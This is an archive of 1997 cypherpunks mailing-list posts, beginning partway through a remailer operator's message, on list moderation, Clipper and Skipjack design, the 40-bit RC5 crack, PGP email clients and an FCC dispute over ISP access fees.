that go through. I am a "secure remailer". Before I set up the remailer, I

did a lot of soul searching, knowing that somewhere along the road I could

help a "baby raper" or something else I find morally objectionable. I came to

the conclusion, and I still think it is the right conclusion, that the public

service offered by an anonymous remailer far outweighs the disadvantages of

potentially helping someone I personally find objectionable.

	Setting up a remailer, for someone that is already running a domain, is easy

enough to be almost trivial. With the explosion of domains the internet has

seen in the past couple of years, at least some of the remailers have to be

honest and not fronts for the DOJ, FBI, and whatever other alphabet

orginizations...

	Obviously, you are thinking that any FBI agent that wanted to could post

this exact message, and YOU ARE RIGHT!

	Take advantage of a string of remailers. Use proper encryption, so that none

of them know more than the next hop. Make sure you vary the order of

remailers you go through with each message. 

	Being cautious, you can be almost 100% certain your message is anonymous.


Chuck

Sys Admin...

Wazoo's Computers

======================================

PGP key for remailer@wazoo.com available from all public key servers of by

fingering: remailer@wazoo.com...help file available by sending mail to

remailer@wazoo.com with a subject of remailer-help

======================================

For those that missed or already deleted the list, here are some places to

find more about remailers:

http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/

http://www.stack.nl/~galactus/remailers/index-anon.html

http://www.cs.berkeley.edu/~raph/remailer-list.html 


-----BEGIN PGP SIGNATURE-----

Version: 4.5

Comment: Chuck Fender <<chuck@wazoo.com> Sys Admin for Wazoo's Computers


iQCVAgUBMvtCni/mzwsxwvO5AQGbjgP/d8YfoPxHnSG4Gu6G/3Vx7GcPFK6DBj4Z

FtdoNdQUgWFrMK270Ep6dz5wBIGiEJrPNpiMJQJl2mt4GRSP4RTT3zWy1T8ULclr

wFnywwjieMFxyz4JBBGbyBssNZM2OqUSJIyMFXWdmQyXTKNOXqxnW9oMOu82QqLD

TuHUSUaxrYU=

=rJFq

-----END PGP SIGNATURE-----



<color><param>0000,0000,8080</param>*****************************************

*   </color>       <bold><color><param>0000,0000,ffff</param>Wazoo's
Computers           
</color></bold><color><param>0000,0000,8080</param>*

*</color> Alamogordo's Internet Access Provider
<color><param>0000,0000,8080</param>*

*</color>           <color><param>ffff,0000,0000</param>(505) 434-5090   
          </color><color><param>0000,0000,8080</param>*

*****************************************</color>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 7 Feb 1997 11:28:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702071928.LAA29053@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:

> My posting seem to be going into Limbo, being sent neither to the
> Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks
> Hell. At least this is how things now appear.

> I sent the message below to the list this morning (Thursday) at 8:43 a.m.
> PST. As of tonight, 12 hours later, I haven't seen it on either the
> Singapore Web site--last archived 30 minutes ago--or on the "Flames" list
> to which I have temporarily subscribed (to see what Sandy counts as a
> "flame").

Now that a few weeks have passed, I have decided that moderation delays
are the most annoying feature of the new experiment.  I am subscribed to 
the unedited list under another account, and its almost instantaneous
traffic is in great contrast to the time required for posts to trickle
through the Sandfort-Bot. 

> By the way, I noted that many of the messages which appeared at the
> Singapore Web archive site have dates much later than mine, including
> several dated at least 8-10 hours after my message. Likewise, some of the
> Flames messages are dated much later than my message.

Messages apparently do not get moderated in the order in which they 
are received.  Some messages take a very long time, as other later
messages pass them by and are posted to the list.  Again, I have no
explanation for this unusual behavior.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 7 Feb 1997 11:40:06 -0800 (PST)
To: Steve Schear <cryptography@c2.net
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702071940.LAA29192@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:19 PM 2/6/97 -0800, Steve Schear wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>At 06:51 PM 2/6/97 +0800, pclow wrote:
>>><You want Eudora 3.0 and PGPMail 4.5. [Despite PGP,Inc's best efforts,
>>>the
>>><brand new PGPMail has escaped from the United States and is now
>>>available
>>><worldwide.]
>
>Its too bad there isn't a Mac version contemplated.  They appear to think
>that existing PGP versions, paired with Eudora, are sufficient.

>From their FAQ:


        9.What is the status of the Macintosh product?

           ViaCrypt PGP 2.7.1 is available for the Macintosh today. We are
working on a new
           version for the Macintosh, adding new features and revising the
graphical user
           interface to make it easier to use. The revised Macintosh
version will follow the
           Windows release. 

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:15:18 -0800 (PST)
To: shamrock@netcom.com
Subject: Skipjack uses Elliptic curve? (was Re: Moderation [Tim,Sandy])
Message-ID: <199702071515.HAA24943@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> wrote:
> [...]. How many of you remember the anonymous message posted to this
> list revealing that Skipjack is an elliptic curve cipher? [One of the most
> respected names in cryptography confirmed this to me in private
> conversation. No, the person was not privy to the secret specs. The person
> didn't need to be. :-]

What aspect of Skipjack family is Elliptic curve?

Skipjack itself I thought was a symmetric key block cipher, with 80
bit keys and 64 bit block size.

The key escrow designs (clipper chip and family) included several
additions:

1. check sum to prevent LEAF (Law Enforcement Access Field) forgery
   (16 bits, which is not enough as Matt Blaze demonstrated)

2. government access copy of chip's serial number encrypted with LE
   family key in LEAF 

3. copy of session key encrypted with unit's escrow key in LEAF (the
   escrow key is the key that is stored in the government database
   indexed by chip serial number - the database which is split between
   the two escrow agents).

4. hardware random number key generation

5. undisclosed key exchange mechanism

6. are DSS signatures used?

Presumably the Elliptic curve is for key exchange?  Is there something
about the design which implies Ellitpic curve must be the key exchange
mechanism used?

Another possible area for public key, if they had it on chip, would be
to use public key encryption for the encryption of the serial number.
Otherwise, when the chip is reverse engineered the LE family key would
allow traffic analysis of all clipper traffic.  Public key would
prevent this.

(According to Ross Anderson's paper on tamper proof hardware, at least
one chip manufacturer has reverse engineered the clipper chip)

> If nobody cares about the leaks, why do we need to provide a forum for
> them? Besides, there are other fora that could be used. sci.crypt or
> Coderpunks are both good places to post "found" code.

It is true that sci.crypt and coderpunks do make alternative fora.
Somebody else pointed out that rc4.c was posted to sci.crypt first.  I
think they are correct, and in fact if I remember, it was forged as
from David Sterndark <david@sterndark.com> or some other play on David
Sternlight's email address.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:11:19 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Geiger and long, unreadable lines
Message-ID: <199702071511.HAA24796@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-unedited:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > [DH key gen questions] 
> >
> > (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
> > shouldn't hold, besides Sandy has a stated policy of killing the whole
> > thread, so I thought it amusing to continue your crypto relevance in
> > moving on to technical topics rather than political)
> 
> My advice is to stay clear of any cryptosystem that relies on factoring
> being hard. I'll send you pointers to some very interesting new work
> based on the zeta function in private e-mail when I dig it up (please
> remind me if/when I forget this promise). 

> I'm reluctant to say anything crypto-relevant on this defunct
> mailing list because last time I did, the moderator repeatedly cited
> it as evidence that his moderation works.

I agree, Sandy said something like "look see even Vulis has started
posting crypto relevance therefore moderation works" in one of his
defenses of the moderation experiment.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:13:01 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: offer of unmoderated list home (was Re: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net)
Message-ID: <199702071513.HAA24893@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Allen, that post had a garbled header, and some people may have missed
it, so I'll repost (your cc line was broken also, being in the subject
field, so I've added your cc line in):

: Allen Smith <EALLENSMITH@ocelot.Rutgers.EDU> forwards with permission
: Lance Cotrell's email:
:
: Lance Cottrell <loki@infonex.com> writes in email to Allen:
: >I would be happy to donate the resources to run Cypherpunks off our system.
: >We could set up the list provided we were given a list of subscribers. I
: >assume it would be unmoderated.
: >
: >	-Lance
: >
: >>	Hi. I don't know how much you've been keeping up with
: >>the discussion on cypherpunks, but there is a current proposal
: >>to distribute the list onto several different servers. I would
: >>be willing to pay for 100 subscribers to run on the cyberpass.net
: >>server, provided that somebody else (e.g., Igor Chudov) set up
: >>the system initially and was available for assistance later. Any
: >>problems on your end?
: >>	[...]
: >>	Thanks,
: >>	-Allen

I'd argue for waiting to see the outcome of the moderation experiment,
before rehoming the list.

The multiple host system proposed by Igor sounds like a good idea in
any event.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 07:11:06 -0800 (PST)
To: tcmay@got.net
Subject: Which list am I on?
Message-ID: <199702071511.HAA24782@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I thought I was on the cypherpunks edited list.  However, I appear to
have seen some of the messages that Tim says got lost.  Moreover, I
keep getting ASCII art messages flaming someone with the initials DLV
(though I haven't seen any more of the TCM flames [I haven't looked
too hard, either]).  My mail headers have:

>From cypherpunks-errors@toad.com  <date>
>Sender: owner-cypherpunks@toad.com

Now I'm really confused.  Which list am I on?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 7 Feb 1997 07:13:36 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702071513.HAA24904@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	The alway-informed Prof. Froomkin <froomkin@law.miami.edu> asked:

>This would be the same Strassmann who stated in public at Harvard early in
>1995 that most remailers were run by intelligence agencies such as the
>KGB, then denied saying it when asked for substantiation?   And cut it
>from his paper?

	Don't know that one, but it seems feasible.  Strassmann had the
status to speak at Harvard; probably the K school.  (He's also an
interesting author, really worth a read; despite this recent balderdash.)
I kept a clip from an interview with him for years: after the bomb attack
on the World Trade Tower he proclaimed that a "Electronic Pearl Harbor"
attack on the US was inevitable.  The only question, he said, was when. Not
if.

	(It was a usefully overheated hook for some article on compsec, but
I don't think I ever used it.  Reminded me too much of warnings that
someone was bound to someday taint the city water reservoir with LSD;-)

	As I recall, that piece also quoted him as saying that he knew of
an incident where some group had held a major banking institution ransom
with a threat to destroy their data files somehow.  He refused to identify
the institution or otherwise give any further details about the incident.
Came to mind a few months back, when Winn Schwartau was firing off (also
overheated) missives from Europe reporting, with scant detail, that several
UK or European banking institutions had paid off millions when subjected to
similar blackmail.

> {...} there is some debate about the extent to which in
>*intelligence gathering* as opposed to, say, trying to crack a banking
>protocol, one can reasonably count on a known plaintext.  And much debate
>about the processing costs of not having one, especially when one doesn't
>know what kind of document is being encrypted (e.g. is it ASCII plaintext?
>a spreadsheet? a jpeg? etc.).  I think that's his (misdirected) point.

	The latter is a interesting debate -- but, as you note, not really
relevant in this case, where Strassmann proclaims:

>>In summary: The claim of exportable cryptography being totally
>>insecure, because it can be cracked in 3.5 hours is not
>>realistic. The three clues announced in the contest
>>would not apply  under infowar conditions.

	Now, an international institution which buys and bets the bank upon
US-exportable (40-bit) cryptography probably deserves what it has bought:
espionage-enabled software designed for fast and cheap decryption by spooks
and sundry college kids with access to a handful of machines.  The original
annoucement of the RSA Secret Key Challenge declared forthrightly that even
56-bit keys -- whatever the algorithm! -- offer only "minimal" security.
(What Goldberg did in hours, many could do in a days or weeks with much
less equipment.  A 40-bit key length offers a universe of about, what? a
trillion possible keys.)

	And while there might be debate as to how hard it is to attack
cyphertext when the attacker doesn't know _anything_ about the message (not
its data format; not the language being used; nothing!) there is really
none about the fact that -- with virtually any piece of that puzzle -- the
attack becomes relatively straightforward.  A big job for a little machine,
but conceivable: grab a key, decrypt, and then match for the right stats.

	Rare indeed is the commercial message, or even the typical
government transmission, where its original digital format is not easily
guessed -- if not known for certain. That is the contemporary, real-world,
infowar/infocrime environment.

	To a machine -- which is, after all, looking for a statistical
pattern in the results, not "meaning" -- knowing that the message is in
English (and/or coded in ASCII) is functionally equivalent to an
old-fashioned human codebreaker being given a matched plaintext/cyphertext
sample.  Given that much, the computer doesn't need the plaintext!  It's
counterintuitive to the layman, but one would expect a savvy systems guy
like Strassmann to know this cold.  Even my son, at 4, understands that a
computer manipulates the fodder fed it only in terms of ones and zeros.

	Statistics, not the "plaintext" clue, reveal who dun it... to the
machine.

	Clue #3 -- "the giveaway."  Lord help us!  Paul Strassmann has
probably taught a generation of the DC InfoWar accolytes how to think about
this stuff!!!

	Hopefully their kids can re-educate them.

	Suerte,
		_Vin


         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Fri, 7 Feb 1997 07:11:56 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: alt.cypherpunks (was: Re: My Departure, Moderation, and "Ownership of the List")
Message-ID: <199702071511.HAA24872@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Adam" == Adam Back <aba@dcs.ex.ac.uk> writes:

Adam> Perhaps it is time to reconsider the benefits of
Adam> alt.cypherpunks.  (As an aside, it is ironic that John Gilmore
Adam> was the guy who started the alt.* USENET hierarchy, specifically
Adam> to facilitate freedom of speech).

This would have another benefit.  More sophisticated tools exist for
filtering usenet than for filtering email in a voluntarily cooperative
way.  For example, I use a fairly extensive .procmailrc file to filter
my email, and blow away stuff that's either spam or a post from
someone I consider a blathering idiot.  There are some other folks on
the list who likely do the same thing, and there are some whose
.procmailrc files I'd like to see, and likely include in my own.  But
there's no easy way to do that.

With alt.cypherpunks, anyone who wishes to "help kill noise" could
simply issue a NoCeM report, and those of us with reasonable
newsreaders would be able to "listen" to the reports from people with
whom we want to cooperate.  And we can ignore the rest.  

The beauty of this scheme is that the control of the list is in the
hands of the individual reader, without requiring huge amounts of
redundant effort.

It's also occurred to me that there can be folks who NoCeM the NoCeM
reports :-)

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBMvtAVX6R34u/f3zNAQEFBQf9F6K+47WukspV3BU3E5+/hR9ARVc0cGt5
1zTwkipAqGOZeXMm4//vPYh/q9DyKzV2VLLr/sY7cRiBCypv2BP8y8e8dqkK0eYq
LGaLpmF5IGomJA2iCLYmgQAWJrdhKIBxwyuX0hyDwjTvOF/S4BSV2x1b0dR3q1RB
goV/3vqvxpEan/iy53M+rMAaYffb4s+TRslIJY5ct1ddx+5aeQGOAmgnGWToK1Ja
5ZLYUwkLQ1By14FxC4451uJDHxARNZcKVuu/dcfH+oWYQFrTo9CPi+7Ykpyyxz8X
0v68Gj57xEdnVgz6XshMY3NHOhiIcCuQQSJ1LjkLSfuV9ZzXuiMKQw==
=2ckb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Fri, 7 Feb 1997 08:39:27 -0800 (PST)
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702071639.IAA26440@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Jeff" == Jeff Barber <jeffb@issl.atl.hp.com> writes:

John> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
John> month.  I'll admit I made it easy for them, but the results are
John> conclusive.  There are 1311 addresses in the cypherpunks list
John> today; 42 in the unedited list; and 19 in the flames list.

Jeff> "Conclusively" this has shown only that most folks are willing
Jeff> to go along with an experiment -- especially if it requires them
Jeff> to do exactly nothing.

This is precisely the category into which I fall.  It is a pain to
unsubscribe from a list, since my "From_" header doesn't agree with my
"From:" header (the former has a specific host included, the latter
only a zone), and this often triggers a message to the list owner for
processing.

In any case, I am willing to go along with the experiment.  But a
NoCeM-style approach to killing the noise is much more preferable.
Failing that, an individual filter (such as procmail) is good.  In any
event, the responsibility of what to post and what to read should be
in the hands of each reder individually.

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBMvtGmH6R34u/f3zNAQFQbwf9HYoT51vkHSjSJOnzXcphD7WLoOEq8WV1
rj33PUweZiibTyZg1JADdbS09QVgl80TE90YDJGQ/c77wwBuMKiJTVAz8jaixjCK
kUJ6IiQ4Ul3Q1LfyM5iC/kphQc/ILld0PHpaZl104pLoJ13rK6FCzMaQd+MZpWoJ
ZLWxrKaebFF5IH0dW9avJ3Vb5Kp+6OSGmpBwooFiq+nhuUCaeAZtOAwmutDM5d1g
oDTXGmdFuDLzjAuLcQnNAwc/nRd0bBLj3b3KFYkOzNjnl3BjOw3s4XVMF4sELOCX
aOnxZE/u7lP3HkAQtJ+PxHgthUbODE0ixDU0iuWSrDVm8gRAe4Xm0A==
=78/T
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Fri, 7 Feb 1997 12:00:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702072000.MAA29592@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 07 Feb 1997 07:13:18 -0800
From: Dale Thorn <dthorn@gte.net>

:When I was in the Perot camp

Gotta be Dale!

A measure of my health; I admit preferring the invective of Tim and Dr. V. to this purile nonsense.

Pablum for the c'punk masses.

Ciao






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:12:54 -0800 (PST)
To: mark@infolawalert.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702071512.HAA24892@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark <mark@infolawalert.com> writes:
> I'm almost certain that Murray is a consultant rather than
> or in addition to an accountant. He's been saying these things
> for years at conferences, in papers, on mailing lists, etc.

To get the definitive version I asked him what his relationship to DT
is (I got his email address from a sci.crypt posting), and this is
what he said:

: I am a consultant to Deloitte & Touche's information security
: practice.

So now we know.

Nice that he defended freedom to use cryptography anyway,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:11:14 -0800 (PST)
To: hugh@west.toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702071511.HAA24794@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Could someone who is planning to go tomorrow's cpunks physical meeting
provide a short account of the interesting news to the list?

Thanks,

Adam

> What:   San Francisco Bay Area Cypherpunks monthly physical meeting
> 
> Agenda: 11:++	setup, gossip, face feeding etc.
> 	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
> 	13:00	PGPmail & PGPdisk overview, Dave Del Torto, PGP inc.
> 	14:00	Break
> 	14:30   Announcements, late breaking news, etc.
> 	15:00	The 3 hour 40bit challenge, Ian Goldberg, UCBstudent
> 	16:00   Why bother killing the list?, Hugh Daniel
> 		Future Meeting Planing, IPSEC Update, etc.
> 	17:00	This hour left bank for future expansion...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Fri, 7 Feb 1997 08:39:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISPs vs Bells - Email FCC
Message-ID: <199702071639.IAA26471@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Baby Bells want us to pay by the minute.  An opportunity to tell the FCC
what we think via email at isp@fcc.gov -- article follows.
*****************************************

By Michelle V. Rafter 

LOS ANGELES - Regional phone companies and Internet service providers
are waging a war of words over Internet traffic on the nation's local
telephone network and who should pay for upgrades as the online boom
continues. 

As a drama, the phone companies vs. Internet providers contest is dry,
complicated stuff, lacking the sex appeal of, say, the power struggle
between Netscape and Microsoft for control of the personal computer
desktop. 

Even so, analysts and other industry watchers counsel consumers and
businesses to take heed of the tug of war because it could affect how
much they pay to use the Internet, and ultimately, how they connect to
it. 

In one corner, Pacific Bell, Bell Atlantic and other regional phone
carriers say the growth of Internet traffic is pushing local telephone
networks to the breaking point. 

Pacific Bell, for example, says Internet surfers use its phone lines an
average of 45 minutes a day -- more than twice the amount the network
was built to handle. Heavy Internet use in Silicon Valley led to brief
service outages in that area earlier this year, the company said. 

Pacific Bell and other local phone companies say they've poured millions
of dollars into hardware improvements as a result of Internet traffic,
improvements they claim would otherwise have been unnecessary. 

To help defray costs, phone companies think providers should pay for
service on a per-minute basis, the way long-distance companies do,
rather than by the line, like other business phone customers. Internet
providers have been exempt from paying so-called access fees under a
1983 federal ruling meant to foster growth of compute data networks. 

On the other side, Internet service providers say phone companies have
it all wrong. A recent report sponsored by the Internet Access
Coalition, an industry lobby group, maintains computer traffic poses no
threat to local phone networks and that earlier phone-company studies
identifying trouble spots were based on theoretical claims and a few
areas with engineering and planning problems that could easily be
rectified. 

If Internet traffic was such a threat, phone companies wouldn't be
exacerbating the problem by jumping into the Internet access business
themselves, providers say. 

Rather than hurting phone companies, Internet traffic has been a
windfall, according to the coalition. In 1995, local phone companies
spent a total of $245 million adding 6 million residential phone lines
used primarily for Internet access, but reaped $1.4 billion in revenue
on those lines, the group said. 

If providers are required to pay access fees, they'll have no choice but
to raise their rates, which could stifle Internet growth just as it's
taking off, they say. 

Internet providers and phone companies are arguing their respective
positions in Washington, where the Federal Communications Commission is
considering the access-fee issue. 

As part of ongoing telecommunication industry reform, the FCC said in
late December it would cut access fees levied on long-distance carriers
and is investigating options for doing that. But the agency held off
making a decision affecting Internet use to allow time for parties with
an interest in the issue to present their cases. 

The FCC took the unusual step of setting up an e-mail address --
isp@fcc.gov -- consumers and others can use to send their thoughts.
Internet providers and phone companies have until Feb. 21 to submit
formal comments, and the agency is expected to make a ruling later this
year. 

Even if the FCC levies access fees on providers and companies raise
rates accordingly, it won't dampen consumers' love affair with the
Internet, some analysts said. 

If, for example, Internet providers passed through an access fee of 1
cent a minute, a subscriber spending 10 hours online a month would pay
an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with
Forrester Research in Cambridge, Mass. 

"Cable TV rates have doubled in the last three or four years, we got
nothing more for it, but cable subscribership didn't go down because of
it," Goodtree said. 

On one point everyone agrees -- the nation's current analog telephone
network eventually will not be able to handle demand from Internet
users, and must be supplanted by a digital system better suited to
transmitting computer data. 

Both phone companies and Internet providers have begun working on
solutions. Phone carriers that have offered digital ISDN (integrated
services digital network) lines are stepping up their marketing efforts.
Phone companies and Internet providers are investigating a new
technology called digital subscriber line, or DSL, which routes Internet
phone traffic around analog phone-company switches into all-digital
networks. 

But inevitably, discussion of DSL and other new technologies circles
back to who'll pay for upgrades. Sky Dayton, president of Internet
provider Earthlink Networks in Pasadena, Calif., believes it is in phone
companies' best interests to spend on digital upgrades because of the
profit potential from selling them to companies such as his. 

But why should phone companies pick up all the costs when Internet
service providers will benefit, too, says Pacific Bell spokesman Bob
Deward. 

(Michelle V. Rafter writes about cyberspace and technology from Los
Angeles. Reach her at mvrafter@deltanet.com. Opinions expressed in this
column are her own.) 

Copyright, Reuters Ltd. All rights reserved





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Fri, 7 Feb 1997 12:11:38 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072011.MAA29726@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 7 Feb 1997, Mike Duvos wrote:

> ...Messages apparently do not get moderated in the order in
> which they are received...

All messages are filtered and posted in the order in which I
receive them.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 11:39:55 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702071939.LAA29180@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Strassmann served on the "Information Warefare - Defense"
Task Force sponsored by the Defense Science Board. He has a
Web site at: 

   http://www.strassmann.com

The IW-D report recounts most of the well-known info-war memes
to buttress its plea for more info-warfighting funds, and says that
business needs DoD protection.

It de-emphasizes the encryption debate, claiming that crypto is not 
an important part of the problem or the solution. Remailers are not 
mentioned.

Short and long versions of IW-D: 

   http://jya.com/iwd.htm

Winn Schwartau's infowar.com offers it too.

SAIC was generously represented on the Task Force: Strassmann,
Bellcore's head, a couple more. As well as others committed to "raising
the bar" against attack on Info-Maginot: 

   http://jya.com/iwdaff.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Fri, 7 Feb 1997 12:11:39 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Which list am I on?
Message-ID: <199702072011.MAA29727@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 7 Feb 1997, Attila T. Hun wrote:

>     no way to tell what list your receiving from; the software Sandy 
>     and John installed to facilitate their un-American activities is 
>     hosed.  in most cases it fails to apply the correct sender name,
>     defaulting to the main, supposedly censored list.

That's why we call it a test.  I have no software.  Everything
I'm doing is manual.  Whatever John has done is probably jerry
rigged just for the test.  

If list members opt for moderation, more effort will be put into
the moderation infrastructure.  The idea right now is to see how
well a first aproximation of moderation works.  If it seems like
a step in the right direction, great.  If everyone thinks it
sucks, well that's great too.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <Ed.Falk@Eng.Sun.COM>
Date: Fri, 7 Feb 1997 12:55:44 -0800 (PST)
To: zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <199702072055.MAA00602@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Can't remailers be written with basic spam safeguards?  I.e. no mass
crossposts, limited # of posts by each individual client per day, etc.?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy N. Hill" <tnh@ACM.ORG>
Date: Fri, 7 Feb 1997 11:42:59 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702071942.LAA29294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 02:19 -0500 97-02-07, Steve Schear wrote:
>>... PGPMail 4.5 ...
>
>Its too bad there isn't a Mac version contemplated.  They appear to think
>that existing PGP versions, paired with Eudora, are sufficient.  I think a
>better integrated approach for the Mac would be appreciated as the
